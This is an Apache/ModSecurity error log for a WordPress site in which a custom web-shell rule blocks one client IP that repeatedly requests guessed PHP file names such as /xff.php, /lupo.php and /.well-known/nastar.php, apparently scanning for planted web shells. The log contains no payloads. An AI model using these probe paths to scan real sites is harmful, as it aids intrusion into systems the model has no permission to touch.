[Sun Apr 26 04:42:03.966856 2026] [:error] [pid 41906:tid 41920] [client 20.91.188.120:37114] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ae0nGz3-0A3lxw9OXoDi8gAAAYw"]
[Sun Apr 26 04:42:05.029886 2026] [:error] [pid 8383:tid 8409] [client 20.91.188.120:50723] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ae0nHdFa2S3EsATMdWOvngAAAAw"]
[Sun Apr 26 04:42:07.428055 2026] [:error] [pid 41906:tid 41917] [client 20.91.188.120:24912] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ae0nHz3-0A3lxw9OXoDi_AAAAYk"]
[Sun Apr 26 04:42:09.169902 2026] [:error] [pid 41906:tid 41923] [client 20.91.188.120:27493] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "ae0nIT3-0A3lxw9OXoDjAwAAAY8"]
[Sun Apr 26 04:42:10.441028 2026] [:error] [pid 31273:tid 31349] [client 20.91.188.120:4923] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "ae0nIvhcNJEGrATcuEepKAAAAUo"]
[Sun Apr 26 04:42:12.000891 2026] [:error] [pid 41906:tid 41928] [client 20.91.188.120:33934] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "ae0nIz3-0A3lxw9OXoDjDAAAAZQ"]
[Sun Apr 26 04:42:12.916525 2026] [:error] [pid 8491:tid 8500] [client 20.91.188.120:4894] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "ae0nJCq7I7e6CJooQM153AAAAME"]
[Sun Apr 26 04:42:14.440782 2026] [:error] [pid 41906:tid 41922] [client 20.91.188.120:60335] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lupo.php"] [unique_id "ae0nJj3-0A3lxw9OXoDjFAAAAY4"]
[Sun Apr 26 04:42:15.431969 2026] [:error] [pid 8385:tid 8427] [client 20.91.188.120:27506] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "ae0nJzOy7_J84Wx3-oxPgAAAAEM"]
[Sun Apr 26 04:42:16.397341 2026] [:error] [pid 31273:tid 31346] [client 20.91.188.120:33923] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "ae0nKPhcNJEGrATcuEepOQAAAUg"]
[Sun Apr 26 04:42:17.202588 2026] [:error] [pid 31273:tid 31354] [client 20.91.188.120:63935] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "ae0nKfhcNJEGrATcuEepOwAAAU8"]
[Sun Apr 26 04:42:18.632331 2026] [:error] [pid 8491:tid 8523] [client 20.91.188.120:51442] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/awa.php"] [unique_id "ae0nKiq7I7e6CJooQM153gAAANc"]
[Sun Apr 26 04:42:19.793729 2026] [:error] [pid 41906:tid 41919] [client 20.91.188.120:26320] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "ae0nKz3-0A3lxw9OXoDjJwAAAYs"]
[Sun Apr 26 04:42:21.586393 2026] [:error] [pid 8383:tid 8421] [client 20.91.188.120:12292] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "ae0nLdFa2S3EsATMdWOvowAAABg"]
[Sun Apr 26 04:42:22.429144 2026] [:error] [pid 41906:tid 41910] [client 20.91.188.120:11427] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "ae0nLj3-0A3lxw9OXoDjLgAAAYI"]
[Sun Apr 26 04:42:23.670660 2026] [:error] [pid 8390:tid 8462] [client 20.91.188.120:50717] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/popo.php"] [unique_id "ae0nL4GPtFK_i9p5yxT_lwAAAIs"]
[Sun Apr 26 04:42:25.141928 2026] [:error] [pid 41906:tid 41920] [client 20.91.188.120:4916] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "ae0nMT3-0A3lxw9OXoDjPgAAAYw"]
[Sun Apr 26 04:42:26.082227 2026] [:error] [pid 41906:tid 41910] [client 20.91.188.120:26325] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "ae0nMj3-0A3lxw9OXoDjQgAAAYI"]
[Sun Apr 26 04:42:26.863811 2026] [:error] [pid 8390:tid 8470] [client 20.91.188.120:8757] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "ae0nMoGPtFK_i9p5yxT_mAAAAJM"]
[Sun Apr 26 04:42:28.583361 2026] [:error] [pid 10315:tid 10337] [client 20.91.188.120:11435] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/13.php"] [unique_id "ae0nNKJIw2vjkleLIaB0LgAAARQ"]
[Sun Apr 26 04:42:32.099289 2026] [:error] [pid 41906:tid 41922] [client 20.91.188.120:37103] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ae0nOD3-0A3lxw9OXoDjTAAAAY4"]
[Sun Apr 26 04:42:33.734037 2026] [:error] [pid 10315:tid 10318] [client 20.91.188.120:64600] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ae0nOaJIw2vjkleLIaB0NgAAAQE"]
[Sun Apr 26 04:42:34.978910 2026] [:error] [pid 8383:tid 8400] [client 20.91.188.120:19336] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ae0nOtFa2S3EsATMdWOvqQAAAAM"]
[Sun Apr 26 04:42:38.889636 2026] [:error] [pid 31273:tid 31341] [client 20.91.188.120:55911] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/11.php"] [unique_id "ae0nPvhcNJEGrATcuEepVgAAAUQ"]
[Sun Apr 26 04:42:40.275450 2026] [:error] [pid 31273:tid 31360] [client 20.91.188.120:20997] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ae0nQPhcNJEGrATcuEepWwAAAVU"]
[Sun Apr 26 04:42:41.574108 2026] [:error] [pid 41906:tid 41915] [client 20.91.188.120:58464] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ae0nQT3-0A3lxw9OXoDjYQAAAYc"]
[Sun Apr 26 04:42:43.706281 2026] [:error] [pid 8390:tid 8451] [client 20.91.188.120:43854] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ae0nQ4GPtFK_i9p5yxT_ngAAAIA"]
[Sun Apr 26 04:42:45.472904 2026] [:error] [pid 10315:tid 10341] [client 20.91.188.120:4915] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "ae0nRaJIw2vjkleLIaB0OAAAARg"]
[Sun Apr 26 04:42:50.067836 2026] [:error] [pid 41906:tid 41925] [client 20.91.188.120:36467] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/"] [unique_id "ae0nSj3-0A3lxw9OXoDjaAAAAZE"]
[Sun Apr 26 04:42:51.458259 2026] [autoindex:error] [pid 31273:tid 31353] [client 20.91.188.120:55901] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/Requests/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 26 04:43:10.851030 2026] [:error] [pid 31273:tid 31352] [client 20.91.188.120:55901] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "ae0nXvhcNJEGrATcuEepqwAAAU0"]
[Sun Apr 26 04:43:11.736399 2026] [:error] [pid 8390:tid 8469] [client 20.91.188.120:36386] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "ae0nX4GPtFK_i9p5yxT_sQAAAJI"]
[Sun Apr 26 04:43:13.141175 2026] [:error] [pid 8390:tid 8453] [client 20.91.188.120:62181] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "ae0nYYGPtFK_i9p5yxT_swAAAII"]
[Sun Apr 26 04:43:13.872925 2026] [:error] [pid 8385:tid 8432] [client 20.91.188.120:4217] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6.php"] [unique_id "ae0nYTOy7_J84Wx3-oxPlwAAAEg"]
[Sun Apr 26 04:43:15.416340 2026] [:error] [pid 10315:tid 10320] [client 20.91.188.120:33336] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "ae0nY6JIw2vjkleLIaB0WAAAAQM"]
[Sun Apr 26 04:43:17.974216 2026] [:error] [pid 8383:tid 8404] [client 20.91.188.120:20481] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "ae0nZdFa2S3EsATMdWOv9QAAAAc"]
[Sun Apr 26 04:43:19.253184 2026] [:error] [pid 10315:tid 10318] [client 20.91.188.120:4398] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "ae0nZ6JIw2vjkleLIaB0XQAAAQE"]
[Sun Apr 26 04:43:20.911295 2026] [:error] [pid 8383:tid 8403] [client 20.91.188.120:33314] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/9.php"] [unique_id "ae0naNFa2S3EsATMdWOv-AAAAAY"]
[Sun Apr 26 04:43:21.753769 2026] [:error] [pid 31273:tid 31346] [client 20.91.188.120:43971] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "ae0nafhcNJEGrATcuEepxgAAAUg"]
[Sun Apr 26 04:43:22.919365 2026] [:error] [pid 31273:tid 31349] [client 20.91.188.120:62735] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "ae0navhcNJEGrATcuEepzQAAAUo"]
[Sun Apr 26 04:43:23.842750 2026] [:error] [pid 10315:tid 10319] [client 20.91.188.120:62726] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "ae0na6JIw2vjkleLIaB0ZwAAAQI"]
[Sun Apr 26 04:43:25.428932 2026] [:error] [pid 10315:tid 10327] [client 20.91.188.120:28063] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/10.php"] [unique_id "ae0nbaJIw2vjkleLIaB0aQAAAQo"]
[Sun Apr 26 04:43:26.068421 2026] [:error] [pid 8390:tid 8461] [client 20.91.188.120:62740] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ae0nboGPtFK_i9p5yxT_ugAAAIo"]
[Sun Apr 26 04:43:28.114337 2026] [:error] [pid 41906:tid 41908] [client 20.91.188.120:52055] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ae0ncD3-0A3lxw9OXoDjxQAAAYA"]
[Sun Apr 26 04:43:29.159252 2026] [:error] [pid 8385:tid 8427] [client 20.91.188.120:4794] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ae0ncTOy7_J84Wx3-oxPoAAAAEM"]
[Sun Apr 26 04:43:30.530958 2026] [:error] [pid 31273:tid 31357] [client 20.91.188.120:43790] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/100.php"] [unique_id "ae0ncvhcNJEGrATcuEep1QAAAVI"]
[Sun Apr 26 04:43:32.016401 2026] [:error] [pid 31273:tid 31344] [client 20.91.188.120:38360] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "ae0ndPhcNJEGrATcuEep2AAAAUY"]
[Sun Apr 26 04:43:35.282421 2026] [:error] [pid 8385:tid 8430] [client 20.91.188.120:43824] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "ae0ndzOy7_J84Wx3-oxPpQAAAEY"]
[Sun Apr 26 04:43:36.095963 2026] [:error] [pid 10315:tid 10339] [client 20.91.188.120:19415] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "ae0neKJIw2vjkleLIaB0cwAAARY"]
[Sun Apr 26 04:43:38.330270 2026] [:error] [pid 41906:tid 41932] [client 20.91.188.120:63449] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/nastar.php"] [unique_id "ae0nej3-0A3lxw9OXoDj0QAAAZg"]
[Sun Apr 26 04:43:41.049901 2026] [:error] [pid 10315:tid 10338] [client 20.91.188.120:19427] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ae0nfaJIw2vjkleLIaB0eQAAARU"]
[Sun Apr 26 04:43:45.657459 2026] [:error] [pid 41906:tid 41919] [client 20.91.188.120:16201] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ae0ngT3-0A3lxw9OXoDj4gAAAYs"]
[Sun Apr 26 04:43:47.958808 2026] [:error] [pid 8385:tid 8445] [client 20.91.188.120:19453] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ae0ngzOy7_J84Wx3-oxPrAAAAFU"]
[Sun Apr 26 04:43:48.794221 2026] [:error] [pid 41906:tid 41912] [client 20.91.188.120:16216] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2026w.php"] [unique_id "ae0nhD3-0A3lxw9OXoDj5QAAAYQ"]
[Sun Apr 26 04:43:50.283475 2026] [:error] [pid 41906:tid 41916] [client 20.91.188.120:16240] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ae0nhj3-0A3lxw9OXoDj5wAAAYg"]
[Sun Apr 26 04:43:51.059683 2026] [:error] [pid 41906:tid 41921] [client 20.91.188.120:56958] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ae0nhz3-0A3lxw9OXoDj7AAAAY0"]
[Sun Apr 26 04:43:52.215528 2026] [:error] [pid 8491:tid 8506] [client 20.91.188.120:19436] [client 20.91.188.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwpg.php"] [unique_id "ae0niCq7I7e6CJooQM16EwAAAMc"]
